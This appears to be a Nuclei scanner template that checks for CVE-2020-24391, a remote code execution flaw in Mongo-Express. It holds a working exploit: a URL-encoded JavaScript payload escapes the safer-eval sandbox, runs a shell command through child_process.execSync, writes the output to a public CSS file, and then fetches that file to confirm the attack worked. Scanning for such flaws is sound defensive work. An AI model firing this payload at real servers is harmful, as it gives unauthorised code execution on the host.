id: CVE-2020-24391 info: name: Mongo-Express - Remote Code Execution author: leovalcante severity: critical description: Mongo-Express before 1.0.0 is susceptible to remote code execution because it uses safer-eval to validate user supplied javascript. Unfortunately safer-eval sandboxing capabilities are easily bypassed leading to remote code execution in the context of the node server. remediation: | Apply the latest security patches or updates provided by the vendor to fix this vulnerability. reference: - https://securitylab.github.com/advisories/GHSL-2020-131-mongo-express/ - https://github.com/mongo-express/mongo-express/commit/3a26b079e7821e0e209c3ee0cc2ae15ad467b91a - https://nvd.nist.gov/vuln/detail/CVE-2020-24391 - https://github.com/mongodb-js/query-parser/issues/16 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2020-24391 epss-score: 0.40297 epss-percentile: 0.96907 cpe: cpe:2.3:a:mongo-express_project:mongo-express:*:*:*:*:*:node.js:*:* metadata: max-request: 3 vendor: mongo-express_project product: mongo-express framework: node.js tags: cve,cve2020,mongo,express,rce,intrusive http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} - | POST /checkValid HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded document=++++++++++++%28%28%29+%3D%3E+%7B%0A++++++++const+process+%3D+clearImmediate.constructor%28%22return+process%3B%22%29%28%29%3B%0A++++++++const+result+%3D+process.mainModule.require%28%22child_process%22%29.execSync%28%22id+%3E+build%2Fcss%2F{{randstr}}.css%22%29%3B%0A++++++++console.log%28%22Result%3A+%22+%2B+result%29%3B%0A++++++++return+true%3B%0A++++%7D%29%28%29++++++++ - | GET /public/css/{{randstr}}.css HTTP/1.1 Host: {{Hostname}} cookie-reuse: true req-condition: true matchers-condition: and matchers: - type: regex part: body_3 regex: - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)" - type: status status: - 200 extractors: - type: regex regex: - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)" # digest: 4a0a00473045022013510dd332a81f0f4de9532456b68ff3087fd36ff6ad3f9d01b725efd1c86031022100a70b08151180acf46eb46eb67f2a326a3b3bedbaebeb60c34587c53642b6e102:922c64590222798bb761d5b6d8e72950